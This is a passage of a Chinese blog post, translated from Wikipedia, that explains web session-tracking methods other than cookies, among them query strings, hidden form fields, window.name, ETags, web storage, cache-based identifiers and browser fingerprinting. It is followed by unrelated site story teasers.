而且如果相同用戶從不同的源多次訪問相同的頁面,這樣不能確保每次使用相同的查詢字符串。例如,如果一個用戶第一次通過一個頁面的內(nèi)部站點(diǎn)訪問了一個頁面,然后第二次又通過外部的搜索引擎訪問到這個頁面,這樣查詢字符串可能會不同。如果在這種情況下使用cookie,cookie可以是相同的。

使用查詢字符串其他缺點(diǎn)就是安全問題。在查詢字符串中存儲標(biāo)識session的數(shù)據(jù)可以導(dǎo)致session固定攻擊,referer日志攻擊以及其他安全漏洞。把session標(biāo)識轉(zhuǎn)成HTTP cookie更安全。

隱藏的表單字段

另一種回話跟蹤是使用隱藏域的web表單。這個技術(shù)很像使用url查詢字符串去保存信息,也有一些優(yōu)點(diǎn)和缺點(diǎn)。事實上,如果通過HTTP的GET方法處理表單,那么這種技術(shù)就和使用URL查詢字符串類似,因為GET方法會把表單字段作為查詢字符串追加到URL后面。但是大部分表單都是通過HTTP的POST方法處理,這樣表單信息包括隱藏的字段都會在HTTP請求體中發(fā)送,這樣既不是URL中的一部分,也不是cookie的一部分。

從追蹤的角度來看這種方式有兩種好處。第一,把追蹤信息放在HTTP請求體中而不是URL中意味著它不會被普通用戶察覺。第二,當(dāng)用戶復(fù)制URL的時候不會復(fù)制到session信息。

“window.name” DOM 屬性

所有的現(xiàn)代瀏覽器都可以通過js使用DOM屬性window.name存儲一個相當(dāng)大的數(shù)據(jù)(2-23M)。這個數(shù)據(jù)可以用來代替session cookie也是可以跨域的。這個技術(shù)可以和JSON對象一起使用來存儲客戶端上的復(fù)雜session變量集合。

不足就是美國單獨(dú)的窗口或者tab頁剛開始打開的時候會有一個空的window.name屬性。而且,這個屬性可以用來追蹤不同站點(diǎn)的訪問者。

在某些方面,這種方法可能比cookie更加方便,因為它的內(nèi)容不會像cookie那樣在每次請求的時候自動的發(fā)送給服務(wù)端,所以它不易收到網(wǎng)絡(luò)cookie嗅探攻擊。然而如果不采用特殊的方法保護(hù)數(shù)據(jù),它很容易受到其他攻擊,因為數(shù)據(jù)可以被在同一個窗口或者tab中打開的其他站點(diǎn)獲取到。

廣告主標(biāo)識碼

蘋果使用了追蹤技術(shù)稱為“廣告主標(biāo)識碼”(IDFA)。這種技術(shù)會給每個購買蘋果產(chǎn)品的用戶分配一個唯一標(biāo)識。這個唯一標(biāo)識會被蘋果網(wǎng)絡(luò)廣告系統(tǒng)使用,來確定用戶正在查看或者回復(fù)的廣告。

ETag

因為瀏覽器會緩存ETags,然后在后續(xù)的請求相同資源時返回,追蹤服務(wù)器可以簡單的復(fù)制從瀏覽器接受的任意ETag來確保ETag長久留存(就像持久化cookie一樣)。增加緩存頭也可以加強(qiáng)ETag數(shù)據(jù)的保存。

在某些瀏覽器中可以通過清理緩存來清楚ETag數(shù)據(jù)。

web 存儲

一些web瀏覽器支持持久化機(jī)制,允許頁面本地存儲信息以后使用。

HTML5標(biāo)準(zhǔn)(絕大多數(shù)現(xiàn)代瀏覽器在某種程度上都支持)包含了一個Javascript API叫做Web storage:local storage和session storage。local storage的行為和持久化cookie類似,而session storage的行為和session cookie的行為類似,也就是session storage是綁定在一個單獨(dú)的tab或者窗口的生命周期中的(也就是頁面session),而session cookie是針對整個瀏覽器的。

IE支持在瀏覽器歷史中持久化信息,在瀏覽器的收藏夾中,以一個XML格式存儲,或者直接在頁面中存儲到硬盤。

一些web瀏覽器插件也包含持久化機(jī)制。例如Flash有Local shared object,Silverlight有 Isolated storage。

瀏覽器緩存

瀏覽器緩存也可以用來存儲信息,利用這些信息也可以用來追蹤用戶。這項技術(shù)利用的真相是當(dāng)瀏覽器判斷出來緩存的已經(jīng)是最新資源時可以利用緩存而不是重新從站點(diǎn)下載。

例如,一個站點(diǎn)托管了一個js文件,這個js文件可以給用戶指定一個唯一標(biāo)識(例如,var userId = 3243242)。只要用戶訪問之后,每次用戶再訪問這個頁面時,這個文件都會從緩存中獲取而不是從服務(wù)端獲取。所以它的內(nèi)容永遠(yuǎn)不會變。

瀏覽器指紋

瀏覽器指紋是指瀏覽器配置信息的集合,例如版本號,屏幕分辨率,操作系統(tǒng)。指紋信息可以用來完全或者部分標(biāo)識獨(dú)立用戶或者設(shè)備,即使cookie已經(jīng)被關(guān)閉了。

基本的web瀏覽器配置信息一直都在被web分析服務(wù)搜集為了精確的統(tǒng)計真實網(wǎng)絡(luò)流量和不同類型的點(diǎn)擊欺詐。在客戶端腳本的幫助下,搜集更多的參數(shù)也是有可能的。

做好前端開發(fā)必須對HTTP的相關(guān)知識有所了解,所以我創(chuàng)建了一個專題前端必備HTTP技能專門收集前端相關(guān)的HTTP知識,歡迎關(guān)注,投稿。


PS:本文翻譯自維基百科,原文地址https://en.wikipedia.org/wiki/HTTP_cookie

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 227,488評論 6 531
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,034評論 3 414
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 175,327評論 0 373
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,554評論 1 307
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 71,337評論 6 404
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 54,883評論 1 321
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 42,975評論 3 439
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 42,114評論 0 286
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 48,625評論 1 332
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 40,555評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 42,737評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,244評論 5 355
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 43,973評論 3 345
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,362評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,615評論 1 280
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,343評論 3 390
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 47,699評論 2 370

推薦閱讀更多精彩內(nèi)容